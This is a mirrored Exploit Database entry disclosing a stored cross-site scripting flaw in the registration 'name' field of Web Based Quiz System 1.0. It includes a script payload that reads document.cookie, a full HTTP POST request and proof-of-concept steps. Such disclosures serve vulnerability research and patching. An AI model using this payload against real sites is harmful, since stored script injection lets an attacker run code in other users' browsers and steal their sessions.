Web Based Quiz System 1.0 – ‘name’ Persistent Cross-Site Scripting

• Exploit Database
• 16 阅读

• 作者： P.Naveen Kumar
  日期： 2021-03-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49607/

• # Exploit Title: Web Based Quiz System 1.0 - 'name' Persistent/Stored Cross-Site Scripting
  # Date: 2021-03-02
  # Exploit Author: P.Naveen Kumar
  # Vendor Homepage: https://www.sourcecodester.com
  # Software Download Link : https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
  # Software : Web Based Quiz System
  # Version : 1.0
  # Vulnerability Type : Cross-site Scripting
  # Vulnerability : Persistent/Stored XSS
  # Tested on: Windows 10 Pro
  
  # Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe
  # in registration form in name parameter affected from this vulnerability.
  # payload: <script>alert(document.cookie)</script>
  
  # HTTP POST request
  POST http://localhost:8080/quiz/register.php HTTP/1.1
  Host: localhost:8080
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=---------------------------283640616528311462411171270636
  Content-Length: 690
  Origin: http://localhost:8080
  Connection: keep-alive
  Referer: http://localhost:8080/quiz/register.php
  Cookie: PHPSESSID=ptujqhbkupjsqjkqs7tjhnb5er
  Upgrade-Insecure-Requests: 1
  
  -----------------------------283640616528311462411171270636
  Content-Disposition: form-data; name="name"
  
  <script>alert(document.cookie)</script>
  -----------------------------283640616528311462411171270636
  Content-Disposition: form-data; name="email"
  
  test123@gmail.com
  -----------------------------283640616528311462411171270636
  Content-Disposition: form-data; name="password"
  
  Hacker
  -----------------------------283640616528311462411171270636
  Content-Disposition: form-data; name="college"
  
  hello
  -----------------------------283640616528311462411171270636
  Content-Disposition: form-data; name="submit"
  
  
  -----------------------------283640616528311462411171270636--
  
  POC:
  # go to url http://localhost:8080/quiz/register.php
  # then you have to fill the above payload in name/username parameter
  # then fill the remaining details
  # then click submit
  # then login to user account
  # then attempt any one quiz after attempting go to ranking section then
  # you can see xss pop up there..!